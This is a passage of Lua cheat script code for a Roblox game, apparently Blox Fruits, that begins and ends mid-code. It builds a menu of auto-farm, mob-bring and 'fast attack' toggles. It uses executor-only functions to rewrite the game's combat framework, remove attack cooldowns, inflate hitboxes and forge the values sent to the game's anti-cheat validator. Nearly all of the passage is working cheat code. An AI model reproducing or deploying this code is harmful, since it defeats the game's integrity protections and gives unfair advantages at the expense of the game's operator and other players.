                    MobKilled:Set("Left : "..string.sub(game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("CakePrinceSpawner"),39,40))
                elseif string.len(game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("CakePrinceSpawner")) == 86 then
                    MobKilled:Set("Left : "..string.sub(game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("CakePrinceSpawner"),39,39))
                else
                    MobKilled:Set("Boss Is Spawning")
                end
            end)
        end
    end)
       

    Main:Toggle("Auto Cake Prince",_G.AutoDoughtBoss,function(value)
	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")

else
        _G.AutoDoughtBoss = value
        StopTween(_G.AutoDoughtBoss)
			end
    end)
    
    spawn(function()
        while wait() do
            pcall(function()
                if string.len(game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("CakePrinceSpawner")) == 88 then
                    KillMob = (tonumber(string.sub(game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("CakePrinceSpawner"),39,41)) - 500)
                elseif string.len(game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("CakePrinceSpawner")) == 87 then
                    KillMob = (tonumber(string.sub(game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("CakePrinceSpawner"),40,41)) - 500)
                elseif string.len(game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("CakePrinceSpawner")) == 86 then
                    KillMob = (tonumber(string.sub(game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("CakePrinceSpawner"),41,41)) - 500)
                end
            end)
        end
    end)


    spawn(function()
        while wait() do
            if _G.AutoDoughtBoss then
                pcall(function()
                    if game:GetService("Workspace").Enemies:FindFirstChild("Cake Prince [Lv. 2300] [Raid Boss]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if v.Name == "Cake Prince [Lv. 2300] [Raid Boss]" then
                                if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    repeat task.wait()
                                        AutoHaki()
                                        EquipWeapon(_G.SelectWeapon)
                                        v.HumanoidRootPart.CanCollide = false
                                        v.Humanoid.WalkSpeed = 0
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,10,5))
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                        sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                    until not _G.AutoDoughtBoss or not v.Parent or v.Humanoid.Health <= 0
                                end
                            end
                        end
                    else
                        if game:GetService("ReplicatedStorage"):FindFirstChild("Cake Prince [Lv. 2300] [Raid Boss]") then
                            topos(game:GetService("ReplicatedStorage"):FindFirstChild("Cake Prince [Lv. 2300] [Raid Boss]").HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                        else
                            if KillMob == 0 then
                                game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("CakePrinceSpawner",true)
                            end                    
            
                if game:GetService("Workspace").Map.CakeLoaf.BigMirror.Other.Transparency == 1 then
                                if game:GetService("Workspace").Enemies:FindFirstChild("Cookie Crafter [Lv. 2200]") or game:GetService("Workspace").Enemies:FindFirstChild("Cake Guard [Lv. 2225]") or game:GetService("Workspace").Enemies:FindFirstChild("Baking Staff [Lv. 2250]") or game:GetService("Workspace").Enemies:FindFirstChild("Head Baker [Lv. 2275]") then
                                    for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                        if v.Name == "Cookie Crafter [Lv. 2200]" or v.Name == "Cake Guard [Lv. 2225]" or v.Name == "Baking Staff [Lv. 2250]" or v.Name == "Head Baker [Lv. 2275]" then
                                            if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                                repeat task.wait()
                                                    AutoHaki()
                                                    EquipWeapon(_G.SelectWeapon)
                                                    v.HumanoidRootPart.CanCollide = false
                                                    v.Humanoid.WalkSpeed = 0
                                                    v.Head.CanCollide = false 
                                                    v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                                    MagnetDought = true
                                                    PosMonDoughtOpenDoor = v.HumanoidRootPart.CFrame
                                                    topos(v.HumanoidRootPart.CFrame * CFrame.new(2,10,5))
                                                    game:GetService("VirtualUser"):CaptureController()
                                                    game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                                until not _G.AutoDoughtBoss or not v.Parent or v.Humanoid.Health <= 0 or game:GetService("Workspace").Map.CakeLoaf.BigMirror.Other.Transparency == 0 or game:GetService("ReplicatedStorage"):FindFirstChild("Cake Prince [Lv. 2300] [Raid Boss]") or game:GetService("Workspace").Enemies:FindFirstChild("Cake Prince [Lv. 2300] [Raid Boss]") or KillMob == 0
                                            end
                                        end
                                    end
                                else
                                    MagnetDought = false
                                    if game:GetService("ReplicatedStorage"):FindFirstChild("Cookie Crafter [Lv. 2200]") then
                                        topos(game:GetService("ReplicatedStorage"):FindFirstChild("Cookie Crafter [Lv. 2200]").HumanoidRootPart.CFrame * CFrame.new(2,20,2)) 
                                    else
                                        if game:GetService("ReplicatedStorage"):FindFirstChild("Cake Guard [Lv. 2225]") then
                                            topos(game:GetService("ReplicatedStorage"):FindFirstChild("Cake Guard [Lv. 2225]").HumanoidRootPart.CFrame * CFrame.new(2,20,2)) 
                                        else
                                            if game:GetService("ReplicatedStorage"):FindFirstChild("Baking Staff [Lv. 2250]") then
                                                topos(game:GetService("ReplicatedStorage"):FindFirstChild("Baking Staff [Lv. 2250]").HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                            else
                                                if game:GetService("ReplicatedStorage"):FindFirstChild("Head Baker [Lv. 2275]") then
                                                    topos(game:GetService("ReplicatedStorage"):FindFirstChild("Head Baker [Lv. 2275]").HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                                end
                                            end
                                        end
                                    end                       
                                end
                            else
                                if game:GetService("Workspace").Enemies:FindFirstChild("Cake Prince [Lv. 2300] [Raid Boss]") then
                                    topos(game:GetService("Workspace").Enemies:FindFirstChild("Cake Prince [Lv. 2300] [Raid Boss]").HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                else
                                    if game:GetService("ReplicatedStorage"):FindFirstChild("Cake Prince [Lv. 2300] [Raid Boss]") then
                                        topos(game:GetService("ReplicatedStorage"):FindFirstChild("Cake Prince [Lv. 2300] [Raid Boss]").HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                    end
                                end
                            end
                        end
                    end
                end)
            end
        end
    end)
    
    Main:Seperator("Boss Farm")
    
        local Boss = {}
    
    for i, v in pairs(game:GetService("ReplicatedStorage"):GetChildren()) do
        if string.find(v.Name, "Boss") then
            if v.Name == "Ice Admiral [Lv. 700] [Boss]" then
                else
                table.insert(Boss, v.Name)
            end
        end
    end
    
    local BossName = Main:Dropdown("Select Boss",Boss,function(value)
        _G.SelectBoss = value
    end)
    
    Main:Button("Refresh Boss",function()
        BossName:Clear()
            for i, v in pairs(game:GetService("ReplicatedStorage"):GetChildren()) do
            if string.find(v.Name, "Boss") then
                BossName:Add(v.Name) 
            end
        end
    end)
    
    Main:Toggle("Auto Farm Boss",_G.AutoFarmBoss,function(value)
	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("AbandonQuest")
        _G.AutoFarmBoss = value
        StopTween(_G.AutoFarmBoss)
	end
    end)
    
    spawn(function()
        while wait() do
            if _G.AutoFarmBoss then
                pcall(function()
                    if game:GetService("Workspace").Enemies:FindFirstChild(_G.SelectBoss) then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if v.Name == _G.SelectBoss then
                                if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    repeat task.wait()
                                        AutoHaki()
                                        EquipWeapon(_G.SelectWeapon)
                                        v.HumanoidRootPart.CanCollide = false
                                        v.Humanoid.WalkSpeed = 0
                                        v.HumanoidRootPart.Size = Vector3.new(80,80,80)                             
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,10,5))
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                        sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)
                                    until not _G.AutoFarmBoss or not v.Parent or v.Humanoid.Health <= 0
                                end
                            end
                        end
                    else
                        if game:GetService("ReplicatedStorage"):FindFirstChild(_G.SelectBoss) then
                            topos(game:GetService("ReplicatedStorage"):FindFirstChild(_G.SelectBoss).HumanoidRootPart.CFrame * CFrame.new(5,10,2))
                        end
                    end
                end)
            end
        end
    end)
    
    Main:Toggle("Auto Farm All Boss",_G.AutoAllBoss,function(value)
	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
        _G.AutoAllBoss = value
        StopTween(_G.AutoAllBoss)
	end
    end)
    
    Main:Toggle("Auto Farm All Boss Hop",_G.AutoAllBossHop,function(value)
	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")

else
        _G.AutoAllBossHop = value
	end
    end)
    
    spawn(function()
        while wait() do
            if _G.AutoAllBoss then
                pcall(function()
                    for i,v in pairs(game.ReplicatedStorage:GetChildren()) do
                        if string.find(v.Name,"Boss") then
                            if (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude < 17000 then
                                repeat task.wait()
                                    AutoHaki()
                                    EquipWeapon(_G.SelectWeapon)
                                    v.Humanoid.WalkSpeed = 0
                                    v.HumanoidRootPart.CanCollide = false
                                    v.Head.CanCollide = false
                                    v.HumanoidRootPart.Size = Vector3.new(80,80,80)
                                    topos(v.HumanoidRootPart.CFrame*CFrame.new(2,20,2))
                                    game:GetService'VirtualUser':CaptureController()
                                    game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))
                                    sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                until v.Humanoid.Health <= 0 or _G.AutoAllBoss == false or not v.Parent
                            end
                        else
                            if _G.AutoAllBossHop then
                                Hop()
                            end
                        end
                    end
                end)
            end
        end
    end)
    
    --Main:Seperator("Settings")
    
set:Toggle("Bring Mob",true,function(Mag)
    _G.BringMonster = Mag
    end)
    spawn(function()
        while task.wait() do
            pcall(function()
                if _G.BringMonster then
                    CheckQuest()
                    for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                        if _G.AutoFarm and StartMagnet and v.Name == Mon and (Mon == "Factory Staff [Lv. 800]" or Mon == "Monkey [Lv. 14]" or Mon == "Dragon Crew Warrior [Lv. 1575]" or Mon == "Dragon Crew Archer [Lv. 1600]") and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 and (v.HumanoidRootPart.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 220 then
                            v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                            v.HumanoidRootPart.CFrame = PosMon
                            v.Humanoid:ChangeState(14)
                            v.HumanoidRootPart.CanCollide = false
                            v.Head.CanCollide = false
                            if v.Humanoid:FindFirstChild("Animator") then
                                v.Humanoid.Animator:Destroy()
                            end
                            sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)
                        elseif _G.AutoFarm and StartMagnet and v.Name == Mon and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 and (v.HumanoidRootPart.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 275 then
                            v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                            v.HumanoidRootPart.CFrame = PosMon
                            v.Humanoid:ChangeState(14)
                            v.HumanoidRootPart.CanCollide = false
                            v.Head.CanCollide = false
                            if v.Humanoid:FindFirstChild("Animator") then
                                v.Humanoid.Animator:Destroy()
                            end
                            sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)
                        end
                    end
                end
            end)
        end
    end)
    
    set:Toggle("Bring Mob Fast",true,function(Mag)
    _G.BringMonster = Mag
    end)
    spawn(function()
        while task.wait() do
            pcall(function()
                if _G.BringMonster then
                    CheckQuest()
                    for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                        if _G.AutoFarm and StartMagnet and v.Name == Mon and (Mon == "Factory Staff [Lv. 800]" or Mon == "Monkey [Lv. 14]" or Mon == "Dragon Crew Warrior [Lv. 1575]" or Mon == "Dragon Crew Archer [Lv. 1600]") and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 and (v.HumanoidRootPart.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 220 then
                            v.HumanoidRootPart.Size = Vector3.new(70,70,70)
                            v.HumanoidRootPart.CFrame = PosMon
                            v.Humanoid:ChangeState(14)
                            v.HumanoidRootPart.CanCollide = false
                            v.Head.CanCollide = false
                            if v.Humanoid:FindFirstChild("Animator") then
                                v.Humanoid.Animator:Destroy()
                            end
                            sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)
                        elseif _G.AutoFarm and StartMagnet and v.Name == Mon and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 and (v.HumanoidRootPart.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 275 then
                            v.HumanoidRootPart.Size = Vector3.new(70,70,70)
                            v.HumanoidRootPart.CFrame = PosMon
                            v.Humanoid:ChangeState(14)
                            v.HumanoidRootPart.CanCollide = false
                            v.Head.CanCollide = false
                            if v.Humanoid:FindFirstChild("Animator") then
                                v.Humanoid.Animator:Destroy()
                            end
                            sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)
                        end
                    end
                end
            end)
        end
    end)
    
    
        set:Toggle("Super Bring Mob",false,function(Mag)
        getgenv().BringMonster = Mag
    end)
    

set:Toggle("Auto Haki",true,function(value)
_G.AUTOHAKI = value
end)
spawn(function()
    while wait(.1) do
        if _G.AUTOHAKI then 
            if not game.Players.LocalPlayer.Character:FindFirstChild("HasBuso") then
                local args = {
                    [1] = "Buso"
                }
                game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer(unpack(args))
            end
        end
    end
end)
    set:Toggle("Magnet",true,function(vu)
    _G.MagnetActive = vu
    end)

function bring2()
	local plr = game.Players.LocalPlayer
	pcall(function()
	for i, v in pairs(game.workspace.Enemies:GetChildren()) do
		for k, x in pairs (game.workspace.Enemies:GetChildren()) do
		if x.Name == Mon then
			if v.Name == Mon then
				x.HumanoidRootPart.CFrame = v.HumanoidRootPart.CFrame
				v.HumanoidRootPart.CanCollide = false
				v.HumanoidRootPart.Size = Vector3.new(80,80,80)
				sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)
			end
		end
		end
	end
	end)
end
spawn(function()
	while wait(.1) do
		if _G.MagnetActive then
			bring2()
		end
    end
end)



    

    set:Toggle("Fast Attack 1",true,function(value)
        _G.FastAttack = value
    end)      
    
    set:Toggle("Fast Attack 2",nil,function(value)
        _G.FastAttack2 = value
    end)   
    
    local CameraShaker = require(game.ReplicatedStorage.Util.CameraShaker)
CombatFrameworkR = require(game:GetService("Players").LocalPlayer.PlayerScripts.CombatFramework)
y = debug.getupvalues(CombatFrameworkR)[2]
spawn(function()
    game:GetService("RunService").RenderStepped:Connect(function()
        if _G.FastAttack2 then
            if typeof(y) == "table" then
                pcall(function()
                    CameraShaker:Stop()
                    y.activeController.timeToNextAttack = (math.huge^math.huge^math.huge)
                    y.activeController.timeToNextAttack = 0
                    y.activeController.hitboxMagnitude = 9999
                    y.activeController.active = false
                    y.activeController.timeToNextBlock = 0
                    y.activeController.focusStart = 0
                    y.activeController.increment = 4
                    y.activeController.blocking = false
                    y.activeController.attacking = false
                    y.activeController.humanoid.AutoRotate = true
                end)
            end
        end
    end)
end)

spawn(function()
    game:GetService("RunService").RenderStepped:Connect(function()
        if _G.FastAttack == true then
            game.Players.LocalPlayer.Character.Stun.Value = 0
            game.Players.LocalPlayer.Character.Humanoid.Sit = false
            game.Players.LocalPlayer.Character.Busy.Value = false        
        end
    end)
end)

    set:Toggle("Fast Attack 3",false,function(Fast)
    _G.FastAttack = Fast
end)

local Module = require(game:GetService("Players").LocalPlayer.PlayerScripts.CombatFramework)
local CombatFramework = debug.getupvalues(Module)[2]
local CameraShakerR = require(game.ReplicatedStorage.Util.CameraShaker)

spawn(function()
    while true do
        if _G.FastAttack then
            pcall(function()
                CameraShakerR:Stop()
                CombatFramework.activeController.attacking = false
                CombatFramework.activeController.timeToNextAttack = 0
                CombatFramework.activeController.increment = 3
                CombatFramework.activeController.hitboxMagnitude = 100
                CombatFramework.activeController.blocking = false
                CombatFramework.activeController.timeToNextBlock = 0
                CombatFramework.activeController.focusStart = 0
                CombatFramework.activeController.humanoid.AutoRotate = true
            end)
        end
        task.wait()
    end
end)

set:Toggle("Fast Attack 4",false,function(value)
        getgenv().FastAttack1 = value
    end)
    
coroutine.wrap(function()
local StopCamera = require(game.ReplicatedStorage.Util.CameraShaker)StopCamera:Stop()
    for v,v in pairs(getreg()) do
        if typeof(v) == "function" and getfenv(v).script == game:GetService("Players").LocalPlayer.PlayerScripts.CombatFramework then
             for v,v in pairs(debug.getupvalues(v)) do
                if typeof(v) == "table" then
                    spawn(function()
                        game:GetService("RunService").RenderStepped:Connect(function()
                            if getgenv().FastAttack1 then
                                 pcall(function()
                                     v.activeController.timeToNextAttack = -(math.huge^math.huge^math.huge)
                                     v.activeController.attacking = false
                                     v.activeController.increment = 4
                                     v.activeController.blocking = false   
                                     v.activeController.hitboxMagnitude = 150
    		                         v.activeController.humanoid.AutoRotate = true
    	                      	     v.activeController.focusStart = 0
    	                      	     v.activeController.currentAttackTrack = 0
                                     sethiddenproperty(game:GetService("Players").LocalPlayer, "SimulationRaxNerous", math.huge)
                                 end)
                             end
                         end)
                    end)
                end
            end
        end
    end
end)();

set:Toggle("Fast Attack 5",false,function(value)
            _G.FastAttack = value
        end)


--[[
    set:Toggle("Very Fast Attack 1",false,function(value)
        getgenv().FastAttack = value
        
local plr = game.Players.LocalPlayer

local CbFw = debug.getupvalues(require(plr.PlayerScripts.CombatFramework))
local CbFw2 = CbFw[2]

function GetCurrentBlade() 
    local p13 = CbFw2.activeController
    local ret = p13.blades[1]
    if not ret then return end
    while ret.Parent~=game.Players.LocalPlayer.Character do ret=ret.Parent end
    return ret
end
function AttackNoCD() 
    local AC = CbFw2.activeController
    for i = 1, 1 do 
        local bladehit = require(game.ReplicatedStorage.CombatFramework.RigLib).getBladeHits(
            plr.Character,
            {plr.Character.HumanoidRootPart},
            60
        )
        local cac = {}
        local hash = {}
        for k, v in pairs(bladehit) do
            if v.Parent:FindFirstChild("HumanoidRootPart") and not hash[v.Parent] then
                table.insert(cac, v.Parent.HumanoidRootPart)
                hash[v.Parent] = true
            end
        end
        bladehit = cac
        if #bladehit > 0 then
            local u8 = debug.getupvalue(AC.attack, 5)
            local u9 = debug.getupvalue(AC.attack, 6)
            local u7 = debug.getupvalue(AC.attack, 4)
            local u10 = debug.getupvalue(AC.attack, 7)
            local u12 = (u8 * 798405 + u7 * 727595) % u9
            local u13 = u7 * 798405
            (function()
                u12 = (u12 * u9 + u13) % 1099511627776
                u8 = math.floor(u12 / u9)
                u7 = u12 - u8 * u9
            end)()
            u10 = u10 + 1
            debug.setupvalue(AC.attack, 5, u8)
            debug.setupvalue(AC.attack, 6, u9)
            debug.setupvalue(AC.attack, 4, u7)
            debug.setupvalue(AC.attack, 7, u10)
            pcall(function()
                for k, v in pairs(AC.animator.anims.basic) do
                    v:Play()
                end                  
            end)
            if plr.Character:FindFirstChildOfClass("Tool") and AC.blades and AC.blades[1] then 
                game:GetService("ReplicatedStorage").RigControllerEvent:FireServer("weaponChange",tostring(GetCurrentBlade()))
                game.ReplicatedStorage.Remotes.Validator:FireServer(math.floor(u12 / 1099511627776 * 16777215), u10)
                game:GetService("ReplicatedStorage").RigControllerEvent:FireServer("hit", bladehit, i, "") 
            end
        end
    end
end
local cac
if SuperFastMode then 
	cac=task.wait
else
	cac=wait
end
while cac() do 
	AttackNoCD()
end
    end)

        set:Toggle("Very Fast Attack 2",nil,function(value)
    local SuperFastMode = value 

local plr = game.Players.LocalPlayer

local CbFw = debug.getupvalues(require(plr.PlayerScripts.CombatFramework))
local CbFw2 = CbFw[2]

function GetCurrentBlade() 
    local p13 = CbFw2.activeController
    local ret = p13.blades[1]
    if not ret then return end
    while ret.Parent~=game.Players.LocalPlayer.Character do ret=ret.Parent end
    return ret
end
function AttackNoCD() 
    local AC = CbFw2.activeController
    for i = 1, 1 do 
        local bladehit = require(game.ReplicatedStorage.CombatFramework.RigLib).getBladeHits(
            plr.Character,
            {plr.Character.HumanoidRootPart},
            60
        )
        local cac = {}
        local hash = {}
        for k, v in pairs(bladehit) do
            if v.Parent:FindFirstChild("HumanoidRootPart") and not hash[v.Parent] then
                table.insert(cac, v.Parent.HumanoidRootPart)
                hash[v.Parent] = true
            end
        end
        bladehit = cac
        if #bladehit > 0 then
            local u8 = debug.getupvalue(AC.attack, 5)
            local u9 = debug.getupvalue(AC.attack, 6)
            local u7 = debug.getupvalue(AC.attack, 4)
            local u10 = debug.getupvalue(AC.attack, 7)
            local u12 = (u8 * 798405 + u7 * 727595) % u9
            local u13 = u7 * 798405
            (function()
                u12 = (u12 * u9 + u13) % 1099511627776
                u8 = math.floor(u12 / u9)
                u7 = u12 - u8 * u9
            end)()
            u10 = u10 + 1
            debug.setupvalue(AC.attack, 5, u8)
            debug.setupvalue(AC.attack, 6, u9)
            debug.setupvalue(AC.attack, 4, u7)
            debug.setupvalue(AC.attack, 7, u10)
            pcall(function()
                for k, v in pairs(AC.animator.anims.basic) do
                    v:Play()
                end                  
            end)
            if plr.Character:FindFirstChildOfClass("Tool") and AC.blades and AC.blades[1] then 
                game:GetService("ReplicatedStorage").RigControllerEvent:FireServer("weaponChange",tostring(GetCurrentBlade()))
                game.ReplicatedStorage.Remotes.Validator:FireServer(math.floor(u12 / 1099511627776 * 16777215), u10)
                game:GetService("ReplicatedStorage").RigControllerEvent:FireServer("hit", bladehit, i, "") 
            end
        end
    end
end
local cac
if SuperFastMode then 
	cac=task.wait
else
	cac=wait
end
while cac() do 
	AttackNoCD()
end

    end) 
local CameraShaker = require(game.ReplicatedStorage.Util.CameraShaker)
CombatFrameworkR = require(game:GetService("Players").LocalPlayer.PlayerScripts.CombatFramework)
y = debug.getupvalues(CombatFrameworkR)[2]
spawn(function()
    game:GetService("RunService").RenderStepped:Connect(function()
        if _G.FastAttack then
            if typeof(y) == "table" then
                pcall(function()
                    CameraShaker:Stop()
                    y.activeController.timeToNextAttack = (math.huge^math.huge^math.huge)
                    y.activeController.timeToNextAttack = 0
                    y.activeController.hitboxMagnitude = 60
                    y.activeController.active = false
                    y.activeController.timeToNextBlock = 0
                    y.activeController.focusStart = 1655503339.0980349
                    y.activeController.increment = 1
                    y.activeController.blocking = false
                    y.activeController.attacking = false
                    y.activeController.humanoid.AutoRotate = true
                end)
            end
        end
    end)
end)

spawn(function()
    game:GetService("RunService").RenderStepped:Connect(function()
        if _G.FastAttack == true then
            game.Players.LocalPlayer.Character.Stun.Value = 0
            game.Players.LocalPlayer.Character.Humanoid.Sit = false
            game.Players.LocalPlayer.Character.Busy.Value = false        
        end
    end)
end)
    set:Toggle("Remove Attack",false,function(value)
    getgenv().A = require(game:GetService("ReplicatedStorage").CombatFramework.RigLib).wrapAttackAnimationAsync 
getgenv().B = require(game.Players.LocalPlayer.PlayerScripts.CombatFramework.Particle).play
spawn(function()

    while wait() do
            pcall(function()
                require(game:GetService("ReplicatedStorage").CombatFramework.RigLib).wrapAttackAnimationAsync =function(a1,a2,a3,a4,a5)
                    local GetBladeHits = require(game:GetService("ReplicatedStorage").CombatFramework.RigLib).getBladeHits(a2,a3,a4)
                    if GetBladeHits then
                         require(game:GetService("ReplicatedStorage").CombatFramework.RigLib).play = function() end
                        a1:Play(0.2, 0.2, 0.2)
                        a5(GetBladeHits)
                         require(game:GetService("ReplicatedStorage").CombatFramework.RigLib).play = getgenv().B 
                        wait(.5)
                        a1:Stop()
                    end
                end
            end)
        
    end
end)
   end)
]]
   
    Main:Toggle("Delete Attack Flx",nil,function(d)
    _G.DeleteAttackFx = d
    if _G.DeleteAttackFx == true then
    while _G.DeleteAttackFx do wait()
        for i, v in pairs(game.Workspace["_WorldOrigin"]:GetChildren()) do
            if v.Name == "CurvedRing" or v.Name == "DamageCounter" or v.Name == "SwordSlash" or v.Name == "Damage" or v.Name == "Mon" or v.Name == "Sounds" then
                v:Destroy() 
            end
        end
    end
    end
end)
    
    spawn(function()
      while wait() do
      if _G.WhiteScreen then
        for i, v in pairs(game.Workspace["_WorldOrigin"]:GetChildren()) do
            if v.Name == "CurvedRing" or v.Name == "SlashHit" or v.Name == "DamageCounter" or v.Name == "SwordSlash" or v.Name == "SlashTail" or v.Name == "Sounds" then
                v:Destroy() 
            end
        end
    end
    end
end) 
    
        Main:Toggle("White Screen",_G.WhiteScreen,function(value)
    _G.WhiteScreen = value
if _G.WhiteScreen == true then
    game:GetService("RunService"):Set3dRenderingEnabled(false)
elseif _G.WhiteScreen == false then
    game:GetService("RunService"):Set3dRenderingEnabled(true)
end
end)

LockLevelValue = 2400
OldLevel = game.Players.localPlayer.Data.Level.Value
set:Slider("Select Level Lock Farm",1,LockLevelValue,LockLevelValue,nil,function(value)
	LockLevelValue = value
end)
set:Toggle("Lock Level Farm",locklevel,function(value)
	LockLevel = value
end)
	spawn(function()
		while wait(.1) do
			if LockLevel then
				if game.Players.localPlayer.Data.Level.Value >= LockLevelValue then
					game.Players.localPlayer:Kick("Level Lock OFF")
				end
			end
		end
	end)
	

    Main:Seperator("Mastery Farm")
    
    _G.Kill_At = 1

    if _G.Setting_table.MinHealth == nil then
	_G.Setting_table.MinHealth = 20
end

    Main:Slider("Kill At %",1,100,_G.Kill_At,function(value)
	MinHealth = value
	_G.Setting_table.MinHealth = value
	Update_Setting(getgenv()['MyName'])
        _G.Kill_At = value
    end)
 
    Main:Toggle("Skill Z",true,function(value)
        _G.SkillZ = value
			SkillZ = value
				Update_Setting(getgenv()['MyName'])
    end)
 
    
    Main:Toggle("Skill X",true,function(value)
        _G.SkillX = value
			SkillX = value
				Update_Setting(getgenv()['MyName'])
    end)
    
    
    Main:Toggle("Skill C",true,function(value)
        _G.SkillC = value
			SkillC = value
				Update_Setting(getgenv()['MyName'])
    end)
    
    
     Main:Toggle("Skill V",true,function(value)
        _G.SkillV = value
		SkillV = value
			Update_Setting(getgenv()['MyName'])
    end)

	   Main:Toggle("Auto Farm Devil Fruit Mastery",_G.AutoFarmFruitMastery,function(value)
       	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
	    _G.AutoFarmFruitMastery = value
    --   _G.Kill_At = value
        StopTween(_G.AutoFarmFruitMastery)
        if _G.AutoFarmFruitMastery == false then
            UseSkill = false 
        end
		   end
    end)
  
    spawn(function()
        while wait() do
            if _G.AutoFarmFruitMastery then
                pcall(function()
                    local QuestTitle = game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text
                    if not string.find(QuestTitle, NameMon) then
                        Magnet = false
                        UseSkill = false
                        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("AbandonQuest")
                    end
                    if game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false then
                        StartMasteryFruitMagnet = false
                        UseSkill = false
                        CheckQuest()
                        repeat wait()
                            topos(CFrameQuest)
                        until (CFrameQuest.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3 or not _G.AutoFarmFruitMastery
                        if (CFrameQuest.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3 then
                            wait(1.2)
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("StartQuest",NameQuest,LevelQuest)
                            wait(0.5)
                        end
                    elseif game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true then
                        CheckQuest()
                        if game:GetService("Workspace").Enemies:FindFirstChild(Mon) then
                            for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                if v:FindFirstChild("HumanoidRootPart") and v:FindFirstChild("Humanoid") and v.Humanoid.Health > 0 then
                                    if v.Name == Mon then
                                        if string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, NameMon) then
                                            HealthMs = v.Humanoid.MaxHealth * _G.Kill_At/100
                                            repeat task.wait()
                                                if v.Humanoid.Health <= HealthMs then
                                                    AutoHaki()
                                                    EquipWeapon(game:GetService("Players").LocalPlayer.Data.DevilFruit.Value)
                                                    topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                                    v.HumanoidRootPart.CanCollide = false
                                                    PosMonMasteryFruit = v.HumanoidRootPart.CFrame
                                                    v.Humanoid.WalkSpeed = 0
                                                    v.Head.CanCollide = false
                                                    UseSkill = true
                                                else           
                                                    UseSkill = false 
                                                    AutoHaki()
                                                    EquipWeapon(_G.SelectWeapon)
                                                    topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                                    v.HumanoidRootPart.CanCollide = false
                                                    v.HumanoidRootPart.Size = Vector3.new(50,50,50)
